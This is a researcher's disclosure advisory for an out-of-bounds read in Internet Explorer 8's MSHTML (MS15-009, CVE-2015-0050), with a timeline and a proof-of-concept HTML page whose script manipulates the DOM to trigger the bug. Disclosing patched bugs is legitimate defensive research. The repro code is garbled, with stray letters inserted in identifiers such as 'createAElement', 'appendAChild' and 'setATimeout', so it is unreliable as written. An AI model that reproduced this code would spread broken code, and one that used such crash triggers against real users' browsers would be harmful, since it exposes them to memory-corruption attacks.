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Throughout November, I plan to release details on vulnerabilities I
found in web-browsers which I've not released before. This is the
sixteenth entry in that series. Unfortunately I won't be able to
publish everything within one month at the current rate, so I may
continue to publish these through December and January.
The below information is available in more detail on my blog at
http://blog.skylined.nl/20161122001.html. There you can find a repro
that triggered this issue in addition to the information below.
Follow me on http://twitter.com/berendjanwever for daily browser bugs.
MSIE 8 MSHTML SRunPointer::SpanQualifier/RunType OOB read
=========================================================
(MS15-009, CVE-2015-0050)
Synopsis
--------
A specially crafted web-page can cause Microsoft Internet Explorer 8 to
attempt to read data beyond the boundaries of a memory allocation. The
issue does not appear to be easily exploitable.
Known affected software, attack vectors and mitigations
-------------------------------------------------------
* Microsoft Internet Explorer 8
An attacker would need to get a target user to open a specially
crafted web-page. Disabling Javascript should prevent an attacker
from triggering the vulnerable code path.
Description
-----------
The issue requires rather complex manipulation of the DOM and results in
reading a value immediately following an object. The lower three bits of
this value are returned by the function doing the reading, resulting in
a return value in the range 0-7. After exhaustively skipping over the
read AV and having that function return each value, no other side
effects were noticed. For that reason I assume this issue is hard if not
impossible to exploit and did not investigate further. It is still
possible that there may be subtle effects that I did not notice that
allow exploitation in some form or other.
Time-line
---------
* *June 2014*: This vulnerability was found through fuzzing.
* *October 2014*: This vulnerability was submitted to ZDI.
* *October 2014*: This vulnerability was rejected by ZDI.
* *November 2014*: This vulnerability was reported to MSRC.
* *February 2015*: This vulnerability was addressed by Microsoft in
MS15-009.
* *November 2016*: Details of this issue are released.
Cheers,
SkyLined
Repro.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=Edge" />
<style>
position_Afixed { position: fixed; }
position_Arelative { position: relative; }
float_Aleft { float: left; }
complex { float: left; width: 100%; }
complex:first-line { clear: left; }
</style>
<script>
window.onload = function boom() {
oAElement_Afloat_Aleft = document.createAElement('float_Aleft');
oAElement_Acomplex = document.createAElement('complex');
oAElement_Aposition_Afixed = document.createAElement('position_Afixed');
oAElement_Aposition_Arelative = document.createAElement('position_Arelative');
oAElement_Atable = document.createAElement('table');
oAElement_Ax = document.createAElement('x');
oATextANode = document.createATextANode('x');
document.documentAElement.appendAChild(oAElement_Afloat_Aleft);
oAElement_Afloat_Aleft.appendAChild(oAElement_Acomplex);
oAElement_Afloat_Aleft.appendAChild(oATextANode);
oAElement_Acomplex.appendAChild(oAElement_Aposition_Afixed);
oAElement_Acomplex.appendAChild(oAElement_Aposition_Arelative);
oAElement_Acomplex.appendAChild(oAElement_Atable);
oAElement_Acomplex.appendAChild(oAElement_Ax);
setATimeout(function() {
oAElement_Ax.setAAttribute('class', 'x');
setATimeout(function() {
alert();
document.write(0);
}, 0);
}, 0);
}
</script>
</head>
</html>
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